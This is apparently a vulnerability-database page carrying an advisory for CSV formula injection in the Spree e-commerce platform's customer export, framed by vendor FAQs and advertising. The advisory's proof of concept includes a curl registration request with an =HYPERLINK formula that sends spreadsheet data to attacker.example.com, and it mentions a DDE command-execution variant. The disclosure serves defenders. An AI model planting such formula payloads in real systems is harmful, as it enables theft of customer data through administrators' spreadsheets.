How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,262

Total vulnerabilities in the database

Spree: CSV Formula Injection in Customer Export — spree

Improper Neutralization of Formula Elements in a CSV File

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).

Details

Affected presenters and fields

| Presenter | Path | User-controlled fields | |---|---|---| | CustomerPresenter | spree/core/app/presenters/spree/csv/customer_presenter.rb:36 | first_name, last_name, address1, address2, city, phone |

Vulnerable code — `customer_presenter.rb` (representative example)

# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
  csv = [
    customer.first_name,          # ← written verbatim; may contain =HYPERLINK(...)
    customer.last_name,           # ← user-controlled
    customer.email,              
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&amp;.company,    # ← user-controlled
    customer.address&amp;.address1,   # ← user-controlled
    customer.address&amp;.address2,   # ← user-controlled
    customer.address&amp;.city,       # ← user-controlled
    customer.address&amp;.state_text,
    customer.address&amp;.state_abbr,
    customer.address&amp;.country&amp;.name,
    customer.address&amp;.country&amp;.iso,
    customer.address&amp;.zipcode,
    customer.phone,               # ← user-controlled
    customer.amount_spent_in(Spree::Store.current.default_currency),
    customer.completed_orders.count,
  ]
  csv += metafields_for_csv(customer)
  csv
end

PoC

Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers \
  -H &quot;Content-Type: application/json&quot; \
  -H &quot;X-Spree-Api-Key: pk_&lt;publishable_api_key&gt;&quot; \
  -d &#039;{
    &quot;email&quot;: &quot;[email protected]&quot;,
    &quot;password&quot;: &quot;password123&quot;,
    &quot;password_confirmation&quot;: &quot;password123&quot;,
    &quot;first_name&quot;: &quot;=HYPERLINK(\&quot;http://attacker.example.com/exfil?d=\&quot;&amp;B1,\&quot;Click\&quot;)&quot;,
    &quot;last_name&quot;: &quot;Smith&quot;
  }&#039;

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports \
  -H &quot;Authorization: Bearer &lt;admin_jwt&gt;&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{&quot;type&quot;: &quot;Spree::Exports::Customers&quot;, &quot;record_selection&quot;: &quot;all&quot;}&#039;

Step 3 — Admin polls until ready, then downloads

# Poll for completion
curl https://store.example.com/api/v3/admin/exports/&lt;export_id&gt; \
  -H &quot;Authorization: Bearer &lt;admin_jwt&gt;&quot;

# Download
curl https://store.example.com/api/v3/admin/exports/&lt;export_id&gt;/download \
  -H &quot;Authorization: Bearer &lt;admin_jwt&gt;&quot; \
  -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

&quot;=HYPERLINK(&quot;&quot;http://attacker.example.com/exfil?d=&quot;&quot;&amp;B1,&quot;&quot;Click&quot;&quot;)&quot;,&quot;Smith&quot;,&quot;[email protected]&quot;,...

Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows)

Excel warns about external data connections; if the administrator clicks Enable, the HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.
Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

Realistic attack chain

| Step | Actor | Action | Privilege required | |---|---|---|---| | 1 | Attacker | Registers as customer | Public registration | | 2 | Attacker | Sets first_name to formula payload | None beyond registration | | 3 | Admin | Runs a routine weekly/monthly export | Normal operational task | | 4 | Admin | Opens CSV in Excel | None | | 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

All exported customer emails, names, addresses, phone numbers
Order totals and purchase history
Any other columns in the same export file

Published: Jun 4, 2026
Updated: Jun 5, 2026
GHSA: GHSA-xf4v-w5x5-pv79
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-1236

Affected Software
References

Software	From	Fixed in
spree	5.2.0	5.2.8
spree	5.3.0	5.3.6
spree	5.4.0	5.4.3

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.